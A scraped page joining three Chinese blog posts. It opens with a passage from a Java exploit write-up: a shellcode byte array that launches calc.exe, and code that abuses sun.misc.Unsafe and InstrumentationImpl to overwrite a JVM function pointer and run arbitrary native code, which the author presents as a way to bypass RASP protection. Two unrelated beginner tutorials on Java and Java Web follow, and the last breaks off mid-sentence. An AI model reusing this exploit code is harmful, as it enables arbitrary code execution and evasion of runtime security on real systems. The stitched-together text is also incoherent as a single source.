0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html) long allocateMemory = unsafe.allocateMemory(size); System.out.println("allocateMemory:"+Long.toHexString(allocateMemory)); Map map=new HashMap(); map.put("X","y"); //unsafe.putObject(map,allocateMemory+0x10,ints); //unsafe.putByte(allocateMemory,); PocForRCE poc=new PocForRCE(); for (int i=0;i<10000;i++) { poc.b(33); } Thread.sleep(2000); for (int k=0;k<10000;k++) { long tmp=unsafe.allocateMemory(0x4000); //unsafe.putLong(tmp+0x3900,tmp); //System.out.println("alloce:"+Long.toHexString(tmp)); } long shellcodeBed = 0; int offset=4; for (int j=-0x1000;j<0x1000;j++) //down search { long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl)) { if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66) { System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; } } } if (shellcodeBed==0) { for (int j=-0x100;j<0x800;j++) //down search { long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl)) { if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48) { System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; } } } } System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8); String address=""; allocateMemory=shellcodeBed; address=allocateMemory+""; Class cls=Class.forName("sun.instrument.InstrumentationImpl"); Constructor constructor=cls.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object obj=constructor.newInstance(Long.parseLong(address),true,true); Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class}); ClassDefinition classDefinition=new ClassDefinition( Class.class, new byte[]{}); ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition}; try { unsafe.putLong(allocateMemory+8,allocateMemory+0x10); //set **jvmtienv point to it's next memory region unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer to allocateMemory+0x10+0x168+8 for (int k=0;k<buf.length;k++) { unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body } redefineMethod.invoke(obj,new Object[]{classDefinitions}); //trigger allocate } catch (Exception e) { e.printStackTrace(); } } private int a(int x) { if (x>1) { // System.out.println("x>1"); } else { // System.out.println("x<=1"); } return x*1; } private void b(int x) { if (a(x)>1) { //System.out.println("x>1"); this.a(x); } else { this.a(x+4); // System.out.println("x<=1"); } }}编译,运行,成功执行了shellcode,弹出计算器。到此,我们通过纯Java代码实现了跨平台的任意Native代码执行,从而可以解锁很多新玩法,比如绕过RASP实现命令执行、文件读写、数据库连接等等。小结本文主要介绍了几种我最近研究的内存相关的攻击方法,欢迎大家交流探讨,文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了,所以行文略有仓促,若有纰漏之处,欢迎批评指正。———————————————— 原文链接:https://blog.csdn.net/2401_83384536/article/details/137550331
-
引言Java,作为一门跨平台的高级编程语言,自1995年由Sun Microsystems推出以来,凭借其“一次编写,到处运行”的特性,迅速在全球范围内获得了广泛的认可和应用。无论是企业级应用、移动应用开发,还是大数据处理、云计算平台,Java都扮演着举足轻重的角色。本篇文章旨在为初学者提供一条清晰的学习路径,同时也为有一定基础的开发者提供进阶的指导,帮助大家从入门走向精通。一、Java基础篇:搭建环境与基础语法1.1 安装Java开发工具包(JDK)下载JDK:访问Oracle官网或OpenJDK网站,下载适合你操作系统的最新版本的JDK。配置环境变量:安装完成后,需设置JAVA_HOME和PATH环境变量,以便在任何目录下都能使用java和javac命令。验证安装:通过命令行输入java -version和javac -version,确认安装成功且版本信息正确。1.2 第一个Java程序:Hello World创建源文件:使用文本编辑器创建一个名为HelloWorld.java的文件,输入基本的Java类结构。编译程序:在命令行中使用javac HelloWorld.java命令编译源文件,生成HelloWorld.class字节码文件。运行程序:使用java HelloWorld命令执行编译后的字节码,输出“Hello, World!”。1.3 Java基础语法变量与数据类型:了解基本数据类型(如int, double, char, boolean)及引用类型(如String),掌握变量的声明与初始化。运算符:熟悉算术、比较、逻辑、位运算符及其使用场景。控制结构:掌握if-else, switch-case, for, while, do-while等控制流程语句。数组:理解数组的声明、初始化及遍历方法。1.4 面向对象编程(OOP)类与对象:理解类的定义、对象的创建及成员变量与方法的访问。封装:通过访问修饰符(public, private, protected, default)实现数据的隐藏与保护。继承:掌握子类继承父类的机制,重写父类方法,使用super关键字。多态:理解接口与抽象类的区别,通过接口实现多态性。异常处理:学习try-catch-finally结构,自定义异常类。二、Java进阶篇:核心API与集合框架2.1 Java核心APIString类:深入理解字符串的不变性,掌握常用方法如substring, indexOf, replaceAll等。包装类:了解基本数据类型的包装类(如Integer, Double),及其与基本类型间的转换。日期与时间API:掌握Date, Calendar, SimpleDateFormat的使用,以及Java 8引入的java.time包。I/O流:理解输入流与输出流的概念,掌握FileInputStream, FileOutputStream, BufferedReader, BufferedWriter等类的使用。2.2 集合框架Collection接口:了解List, Set, Queue接口及其常用实现类(如ArrayList, LinkedList, HashSet, TreeSet)。Map接口:掌握HashMap, TreeMap, LinkedHashMap的用法,理解键值对存储机制。集合遍历:熟悉for-each循环, Iterator, ListIterator等遍历方式。集合工具类:学习Collections类的排序、查找、转换等静态方法。2.3 泛型与注解泛型:理解泛型的概念,掌握泛型类、泛型接口、泛型方法的定义与使用。注解:了解注解的类型(标记、单值、完整),自定义注解,以及注解处理器的基本使用。三、Java高级篇:并发编程与网络编程3.1 并发编程线程基础:理解线程的概念,掌握Thread类与Runnable接口创建线程的方法。同步机制:学习synchronized关键字与Lock接口,解决线程安全问题。线程池:了解ExecutorService接口,掌握ThreadPoolExecutor与ScheduledThreadPoolExecutor的使用。并发集合:熟悉ConcurrentHashMap, CopyOnWriteArrayList等线程安全集合的使用。3.2 网络编程Socket编程:掌握TCP/IP协议,使用ServerSocket与Socket类实现客户端-服务器通信。URL与HTTP:了解URL类,使用HttpURLConnection或第三方库(如Apache HttpClient)进行HTTP请求处理。NIO(New I/O):理解缓冲区、通道、选择器的概念,掌握NIO的基本使用。四、Java实战篇:框架与项目实践4.1 Spring框架Spring Core:理解IoC(控制反转)与AOP(面向切面编程)的概念,掌握Spring Bean的配置与管理。Spring MVC:学习MVC模式,掌握Spring MVC的配置、请求处理及视图解析。Spring Boot:了解Spring Boot的自动配置机制,快速构建Web应用,掌握Spring Boot Starter的使用。4.2 数据库访问JDBC:掌握JDBC的基本操作,理解Connection, Statement, ResultSet的使用。ORM框架:学习MyBatis与Hibernate等ORM框架,理解对象关系映射的原理,掌握MyBatis的Mapper接口与XML配置,以及Hibernate的Session、Transaction管理。4.3 Web前端集成HTML/CSS/JavaScript:了解基本的Web前端技术,能够与Java后端进行简单的页面交互。JSP/Servlet:掌握JSP页面元素、Servlet生命周期及请求处理,实现动态网页生成。Ajax与JSON:学习Ajax技术,使用JavaScript异步请求Java后端接口,处理JSON格式数据。4.4 实战项目:构建一个简单的电商系统4.4.1 项目规划需求分析:确定用户角色(买家、卖家)、功能模块(商品浏览、购物车、订单管理、支付接口模拟等)。技术选型:Spring Boot作为后端框架,MyBatis进行数据库访问,前端采用HTML+CSS+JavaScript+Ajax。4.4.2 后端开发搭建项目骨架:使用Spring Initializr创建Spring Boot项目,配置MyBatis及数据库连接。实体类与Mapper接口:根据数据库表结构设计实体类,编写Mapper接口及对应的XML映射文件。Service层与Controller层:实现业务逻辑层,编写RestController处理HTTP请求,返回JSON格式数据。安全认证:简单实现用户登录认证,使用Spring Security或自定义过滤器。4.4.3 前端开发页面设计:使用HTML与CSS设计商品列表、详情、购物车等页面。交互逻辑:使用JavaScript与Ajax实现页面动态更新,如添加到购物车、提交订单等。响应式布局:利用Bootstrap等前端框架,使网站在不同设备上都能良好显示。4.4.4 测试与部署单元测试:编写JUnit测试用例,对关键业务逻辑进行验证。集成测试:使用Postman等工具模拟HTTP请求,测试前后端接口联调。部署上线:了解云服务器(如阿里云、腾讯云)的部署流程,将项目打包部署至服务器,配置域名访问五、Java精通篇:性能优化与架构设计5.1 性能优化代码优化:减少不必要的对象创建,使用合适的数据结构,优化算法逻辑。内存管理:理解JVM内存模型,掌握垃圾回收机制,使用JVM参数调优。并发优化:分析线程争用,优化锁策略,使用并发集合与线程池提高性能。数据库优化:索引设计,SQL查询优化,连接池配置,分库分表策略。5.2 架构设计微服务架构:理解微服务概念,掌握Spring Cloud或Dubbo等微服务框架,实现服务注册、发现、调用。分布式系统:学习CAP理论,掌握分布式锁、分布式事务、消息队列(如RabbitMQ, Kafka)的使用。缓存策略:使用Redis, Memcached等缓存中间件,提升系统响应速度。日志与监控:集成ELK Stack(Elasticsearch, Logstash, Kibana),实现日志收集、分析与监。六、结语Java作为一门功能强大、生态丰富的编程语言,其学习之路既充满挑战也极具价值。从基础语法到高级特性,从单机应用到分布式系统,每一步都凝聚着开发者的智慧与汗水。本文试图通过从入门到精通的全面指南,为Java学习者提供一条清晰的学习路径。然而,技术的海洋浩瀚无垠,真正的精通需要不断的实践、探索与积累。愿每位Java开发者都能在这条道路上越走越远,创造出更多有价值的作品。———————————————— 原文链接:https://blog.csdn.net/m0_72256543/article/details/143635231
-
引言:开启 Java Web 之旅在互联网技术飞速发展的当下,Web 应用已成为连接用户与数据的关键桥梁,深入到生活的各个角落。从日常使用的社交平台、购物网站,到企业内部的管理系统,Web 应用无处不在,为人们的生活和工作带来了极大的便利。而 Java Web,凭借其强大的功能、卓越的稳定性和广泛的适用性,在 Web 开发领域占据着举足轻重的地位。Java,作为一种跨平台的编程语言,拥有丰富的类库和强大的开发工具,为 Web 开发提供了坚实的技术支撑。Java Web 不仅继承了 Java 语言的优点,还融合了一系列专门用于 Web 开发的技术和框架,使得开发者能够高效地构建出功能丰富、性能卓越的 Web 应用程序。Java Web 技术涵盖了多个层面,从底层的 Servlet 和 JSP,到中层的各种框架,如 Spring、Spring MVC、MyBatis 等,再到上层的前端技术,如 HTML、CSS、JavaScript 等,形成了一个完整的技术体系。这些技术相互协作,共同完成了 Web 应用从请求处理、业务逻辑实现到数据展示的全过程。Servlet 作为 Java Web 应用的基础组件,运行在服务器端,负责接收客户端的 HTTP 请求,处理业务逻辑,并将处理结果返回给客户端。它的生命周期由 Servlet 容器管理,使得开发者可以专注于业务逻辑的实现,而无需过多关注底层的细节。JSP 则是一种用于生成动态 Web 内容的技术,它允许将 Java 代码嵌入到 HTML 页面中,使得页面能够根据不同的请求动态生成内容。通过 JSP,开发者可以方便地实现页面的动态化,提高用户体验。随着 Web 应用规模的不断扩大和业务复杂度的不断增加,各种框架应运而生。Spring 框架以其强大的依赖注入(DI)和面向切面编程(AOP)功能,简化了 Java Web 应用的开发过程,提高了代码的可维护性和可扩展性。Spring MVC 作为 Spring 框架的一个重要模块,实现了 MVC 设计模式,将业务逻辑、数据展示和用户交互分离,使得代码结构更加清晰,易于开发和维护。MyBatis 框架则专注于数据库访问层的开发,通过简单的 XML 配置或注解,实现了 Java 对象与数据库表之间的映射,大大提高了数据库操作的效率和灵活性。本博客旨在深入剖析 Java Web 开发的核心技术,从基础概念到高级应用,从理论知识到实际案例,全面而系统地介绍 Java Web 开发的各个方面。通过阅读本博客,读者将对 Java Web 开发有一个全面而深入的了解,掌握 Java Web 开发的核心技能,能够独立开发出功能完善、性能卓越的 Web 应用程序。无论是初学者还是有一定经验的开发者,都能从本博客中获得启发和帮助,开启自己的 Java Web 开发之旅。一、Java Web 基础概念大揭秘1.1 什么是 Java WebJava Web,从本质上来说,是运用 Java 技术来解决 Web 领域相关问题的技术集合。它涵盖了服务器端和客户端两部分的技术应用 ,不过当前 Java 在客户端的应用,如 Java Applet,已经较少使用,而在服务器端的应用则极为丰富,像 Servlet、JSP 以及各种第三方框架等都得到了广泛应用。以常见的电商网站为例,当用户在浏览器中输入网址并访问电商网站时,浏览器作为客户端向服务器发送请求。服务器端的 Java Web 应用程序接收到请求后,通过 Servlet 来处理业务逻辑,比如验证用户身份、查询商品信息等。然后,利用 JSP 生成动态的 HTML 页面,将商品列表、用户购物车等信息展示给用户。在这个过程中,还可能会使用到各种第三方框架,如 Spring 来管理对象的生命周期和依赖关系,MyBatis 来进行数据库操作,从而实现一个完整的、功能丰富的电商购物流程。1.2 Java Web 的优势剖析Java 语言自身具备的跨平台特性,使得基于 Java Web 开发的应用程序能够轻松地在不同的操作系统上运行,无需针对每个操作系统进行单独的开发和适配。这大大降低了开发成本和维护难度,提高了应用程序的通用性和可移植性。在安全性能方面,Java Web 有着严格的安全机制,通过字节码验证和安全管理器等手段,能够有效抵御各种潜在的恶意入侵,保障应用程序和用户数据的安全。以用户登录模块为例,Java Web 可以利用其安全特性,对用户输入的账号和密码进行加密传输和存储,防止被黑客窃取。Java 的多线程机制允许 Java Web 应用程序同时处理多个用户请求,通过为每个用户创建独立的线程,实现高效的并发处理。这使得应用程序在面对大量用户访问时,依然能够保持良好的性能和响应速度,确保用户能够获得流畅的使用体验。Java 拥有丰富的类库和各种优秀的开发框架,如前面提到的 Spring、MyBatis 等。这些框架提供了大量的通用功能和工具,开发者可以基于这些框架快速搭建应用程序的基础架构,减少了重复开发的工作量,提高了开发效率,并且使得代码的结构更加清晰,易于维护和扩展。1.3 Java Web 相关核心概念详解B/S 架构:即 Browser/Server(浏览器 / 服务器)架构,是随着 Web 技术兴起而流行的一种网络结构模式。在这种架构下,客户端只需要安装一个浏览器,如常见的 Chrome、Firefox、Edge 等,而系统功能实现的核心部分则集中在服务器端。用户通过浏览器向服务器发送请求,服务器接收请求后进行处理,并将处理结果返回给浏览器进行展示。例如,我们日常使用的各类网页版邮箱、在线办公系统等,都是基于 B/S 架构实现的。用户无需在本地安装复杂的软件,只需通过浏览器即可随时随地访问和使用这些服务。静态资源与动态资源:静态资源指的是那些内容固定不变的 Web 资源,如 HTML 页面、CSS 样式表、JavaScript 脚本文件、图片、音频、视频等。无论何时何地,不同用户访问这些静态资源,看到的内容都是相同的。它们可以直接被浏览器加载和解析,无需经过服务器的动态处理。而动态资源则是指内容会根据不同的请求和条件动态生成的 Web 资源。比如 JSP 页面、Servlet 等,它们会根据用户的请求参数、数据库中的数据等,在服务器端动态生成相应的 HTML 内容返回给浏览器。以新闻网站为例,新闻列表页面可能是一个动态资源,服务器会根据用户的浏览历史、所在地区等因素,动态生成个性化的新闻列表展示给用户。数据库:在 Java Web 应用中,数据库用于存储和管理应用程序所需的数据。常见的关系型数据库有 MySQL、Oracle、SQL Server 等,非关系型数据库有 MongoDB、Redis 等。数据库与 Java Web 应用程序之间通过各种数据库访问技术进行交互,如 JDBC(Java Database Connectivity)。以一个简单的用户注册功能为例,当用户在 Web 页面上填写注册信息并提交后,Java Web 应用程序会通过 JDBC 将用户信息插入到数据库中进行保存,以便后续的登录验证和用户数据管理。HTTP 协议:超文本传输协议(Hypertext Transfer Protocol,HTTP)是用于从万维网(WWW)服务器传输超文本到本地浏览器的传送协议,它基于 TCP/IP 通信协议来传递数据,包括 HTML 文件、图片文件、查询结果等。HTTP 是一个简单的请求 - 响应协议,客户端向服务器发送请求报文,服务器接收到请求后返回响应报文。请求报文包括请求行、请求头和请求体,响应报文则包括响应行、响应头和响应体。例如,当我们在浏览器中输入一个网址并按下回车键时,浏览器会根据 HTTP 协议向服务器发送一个 GET 请求,请求行中包含请求方法(GET)、请求资源的 URL 和 HTTP 协议版本;服务器接收到请求后,根据请求的资源返回相应的响应,响应行中包含 HTTP 协议版本、状态码和状态描述,状态码如 200 表示请求成功,404 表示请求的资源未找到等。Web 服务器:Web 服务器的作用是接收客户端的请求,对请求进行处理,并返回相应的响应。常见的 Web 服务器有 Tomcat、Jetty、Apache 等。其中,Tomcat 是一个免费的开源 Web 应用服务器,也是 Java Web 开发中常用的服务器之一,它不仅可以处理 HTML 页面的请求,还是一个 Servlet 和 JSP 容器,能够很好地支持 Java Web 应用的运行。当我们开发好一个 Java Web 应用后,需要将其部署到 Web 服务器上,才能对外提供服务。例如,将一个基于 Spring MVC 框架开发的 Web 应用部署到 Tomcat 服务器上,用户就可以通过浏览器访问该应用的 URL 来使用其提供的功能。二、搭建 Java Web 开发环境:步步为营2.1 所需软件大盘点JDK(Java Development Kit):Java 开发工具包,是 Java 开发的核心,包含了 Java 运行时环境(JRE)、Java 编译器(javac)、Java 解释器(java)等一系列开发工具和 Java 的核心类库。它是开发和运行 Java 程序的基础,无论是简单的 Java 应用程序还是复杂的 Java Web 项目,都离不开 JDK 的支持。MyEclipse 或 IntelliJ IDEA:这两者都是强大的 Java 集成开发环境(IDE)。MyEclipse 是在 Eclipse 基础上开发的企业级集成开发环境,对 Java EE 和各种开源技术有很好的支持,提供了丰富的 Web 开发功能,如服务器集成、HTML/CSS/JavaScript 编辑器等,适合企业级应用开发。IntelliJ IDEA 则以其强大的代码编辑、智能代码补全、代码导航和重构等功能著称,拥有丰富的插件生态系统,能够极大地提高开发效率,在企业开发和大型项目中应用广泛,深受开发者喜爱。Tomcat:一个开源的轻量级应用服务器,由 Apache 软件基金会开发。它实现了 Java Servlet、JavaServer Pages(JSP)和 Java Expression Language(EL)等 Java 技术,是 Java Web 应用程序开发的重要组成部分。Tomcat 可以作为独立的 Web 服务器运行,处理 HTTP 请求并返回响应,同时也是一个 Servlet 容器,能够运行 Servlet 和 JSP,为 Java Web 应用提供了一个稳定、高效的运行环境,适合中小型系统和并发访问用户不多的场合。MySQL:一种流行的开源关系型数据库管理系统,由瑞典 MySQL AB 公司开发,现属于 Oracle 旗下产品。在 Web 应用方面,MySQL 以其体积小、速度快、总体拥有成本低,尤其是开源的特点,成为众多中小型网站开发的首选数据库。它使用 SQL 语言进行数据的存储、查询、更新和管理,能够高效地处理大量数据,为 Java Web 应用提供数据存储和管理的支持。Navicat for MySQL:一款强大的 MySQL 数据库管理和开发工具,为数据库管理员和开发人员提供了一套功能齐全的工具集。它基于 Windows 系统,提供了直观的图形用户界面(GUI),可以与任何 3.21 或以上版本的 MySQL 一起工作,并支持大部分的 MySQL 最新功能,包括触发器、存储过程、函数、事件、视图、管理用户等。使用 Navicat for MySQL,用户可以方便地创建、管理和维护 MySQL 数据库,进行数据的导入导出、备份恢复、结构同步等操作,大大提高了数据库管理的效率。2.2 软件安装与配置全流程JDK 的安装与配置:首先,从 Oracle 官网下载适合操作系统的 JDK 安装包,下载完成后,双击安装包进行安装。在安装过程中,可以选择默认的安装路径,也可以根据个人需求自定义安装路径。安装完成后,需要配置环境变量。以 Windows 系统为例,右键点击 “此电脑”,选择 “属性”,在弹出的窗口中点击 “高级系统设置”,然后点击 “环境变量”。在系统变量中,新建一个变量名为 “JAVA_HOME”,变量值为 JDK 的安装路径;接着找到 “Path” 变量,点击 “编辑”,在变量值的开头添加 “% JAVA_HOME%\bin;”;再新建一个变量名为 “CLASSPATH”,变量值为 “.;% JAVA_HOME%\lib”。配置完成后,打开命令提示符,输入 “javac” 和 “java -version”,如果能正确显示相关信息,则说明 JDK 安装和配置成功。MyEclipse 的安装与配置:从 MyEclipse 官方网站下载安装包,下载后运行安装程序。安装过程中,按照提示逐步完成安装,包括选择安装路径、接受许可协议等步骤。安装完成后,首次启动 MyEclipse 时,会提示选择工作空间,工作空间用于存放项目文件和相关配置信息,可以根据自己的需求选择或创建一个新的工作空间。MyEclipse 默认已经集成了一些常用的插件和工具,但在开发 Java Web 项目时,可能还需要根据项目需求安装其他插件,如数据库驱动插件、代码生成插件等。可以通过 MyEclipse 的插件管理功能,在线或离线安装所需的插件。IntelliJ IDEA 的安装与配置:在 JetBrains 官网下载 IntelliJ IDEA 的安装包,有旗舰版(Ultimate Edition)和社区版(Community Edition)可供选择,旗舰版功能更全面,社区版免费但功能有所缩减,可根据个人需求选择下载。下载完成后,运行安装程序,按照安装向导的提示完成安装,选择安装路径、关联文件类型等。安装完成后启动 IntelliJ IDEA,首次启动时可以选择导入以前的设置,也可以使用默认设置。在创建 Java Web 项目之前,需要配置项目的 SDK(Software Development Kit),即指定项目使用的 JDK 版本。在 IntelliJ IDEA 的设置中,找到 “Project Structure”,在 “Project” 选项卡中选择正确的 JDK 版本。如果没有检测到已安装的 JDK,可以手动添加 JDK 的安装路径。IntelliJ IDEA 也拥有丰富的插件生态系统,可以根据开发需求安装各种插件,如代码检查插件、版本控制插件、数据库管理插件等。在设置中找到 “Plugins”,在插件市场中搜索并安装所需插件。Tomcat 的安装与配置:从 Apache Tomcat 官网下载 Tomcat 的压缩包,根据自己的需求选择合适的版本,如 Tomcat 8、Tomcat 9 等。下载完成后,将压缩包解压到指定的目录,解压后的目录即为 Tomcat 的安装目录。Tomcat 默认使用 8080 端口,可以根据实际情况修改端口号。打开 Tomcat 安装目录下的 “conf” 文件夹,找到 “server.xml” 文件,使用文本编辑器打开,在文件中找到类似 “” 的代码段,将 “port” 属性的值修改为需要的端口号,如 “80”(如果 80 端口未被占用,可直接修改为 80,这样访问 Web 应用时就不需要在 URL 中输入端口号)。配置完成后,启动 Tomcat。在 Tomcat 安装目录的 “bin” 文件夹下,找到 “startup.bat”(Windows 系统)或 “startup.sh”(Linux 系统),双击运行(Linux 系统需要赋予执行权限后再运行)。如果启动成功,会在命令行中看到 “Server startup in xxx ms” 的提示信息。此时,打开浏览器,输入 “http://localhost:8080/”(如果修改了端口号,将 8080 替换为修改后的端口号),如果能看到 Tomcat 的欢迎页面,则说明 Tomcat 安装和配置成功。MySQL 的安装与配置:从 MySQL 官网下载 MySQL 的安装包,根据操作系统和硬件环境选择合适的版本,如 Windows 64 位版本、Linux 版本等。下载完成后,运行安装程序,按照安装向导的提示进行安装,包括选择安装类型(如典型安装、自定义安装等)、设置安装路径、配置 MySQL 服务等步骤。在安装过程中,需要设置 root 用户的密码,务必牢记该密码,后续登录 MySQL 和管理数据库时会用到。安装完成后,配置 MySQL 的环境变量。在系统变量中,新建一个变量名为 “MYSQL_HOME”,变量值为 MySQL 的安装路径;然后找到 “Path” 变量,点击 “编辑”,在变量值中添加 “% MYSQL_HOME%\bin;”。配置完成后,打开命令提示符,输入 “mysql -u root -p”,然后输入设置的 root 用户密码,如果能成功进入 MySQL 命令行界面,则说明 MySQL 安装和配置成功。Navicat for MySQL 的安装与配置:从 Navicat 官网下载 Navicat for MySQL 的安装包,下载完成后,运行安装程序,按照安装向导的提示完成安装,包括选择安装路径、接受许可协议、选择安装组件等步骤。安装完成后,首次启动 Navicat for MySQL,需要进行注册或激活。如果是试用版,可以选择试用一定期限;如果购买了正版授权,可以输入授权信息进行激活。激活成功后,打开 Navicat for MySQL,点击 “连接” 按钮,选择 “MySQL”,在弹出的连接设置窗口中,填写连接名称(可自定义)、主机(通常为 “localhost”,如果 MySQL 安装在远程服务器上,则填写服务器的 IP 地址)、端口(默认 3306,如无特殊情况无需修改)、用户名(如 root)和密码(安装 MySQL 时设置的密码)。填写完成后,点击 “测试连接”,如果提示连接成功,则说明 Navicat for MySQL 与 MySQL 数据库连接配置成功,点击 “确定” 保存连接设置,即可通过 Navicat for MySQL 对 MySQL 数据库进行管理和操作 。三、深入 Java Web 核心技术:Servlet 与 JSP3.1 Servlet 详解Servlet 作为 Java Web 的核心技术之一,是运行在服务器端的 Java 程序,主要用于处理客户端的 HTTP 请求并生成动态的 Web 内容。它实现了 Java EE 中的 Servlet 规范,能够在服务器上扩展应用程序的功能,为 Web 应用提供了强大的后端支持。Servlet 的主要作用是充当客户端请求与服务器资源之间的桥梁。当客户端向服务器发送 HTTP 请求时,Servlet 容器(如 Tomcat)会接收该请求,并将其分配给相应的 Servlet 进行处理。Servlet 根据请求的内容,执行相应的业务逻辑,如查询数据库、处理表单数据等,然后生成动态的 HTML、XML 或其他格式的响应内容,返回给客户端。以一个简单的用户注册功能为例,当用户在 Web 页面上填写注册信息并提交表单时,表单数据会以 HTTP 请求的形式发送到服务器。服务器上的 Servlet 接收到该请求后,会从请求中获取用户输入的注册信息,如用户名、密码、邮箱等。然后,Servlet 会对这些信息进行验证和处理,比如检查用户名是否已存在、密码是否符合强度要求等。如果信息验证通过,Servlet 会将用户信息插入到数据库中,并返回注册成功的提示页面给用户;如果验证失败,Servlet 则会返回包含错误信息的页面,提示用户重新填写。接下来,我们通过一个简单的 Hello World 案例来快速入门 Servlet 开发。首先,创建一个 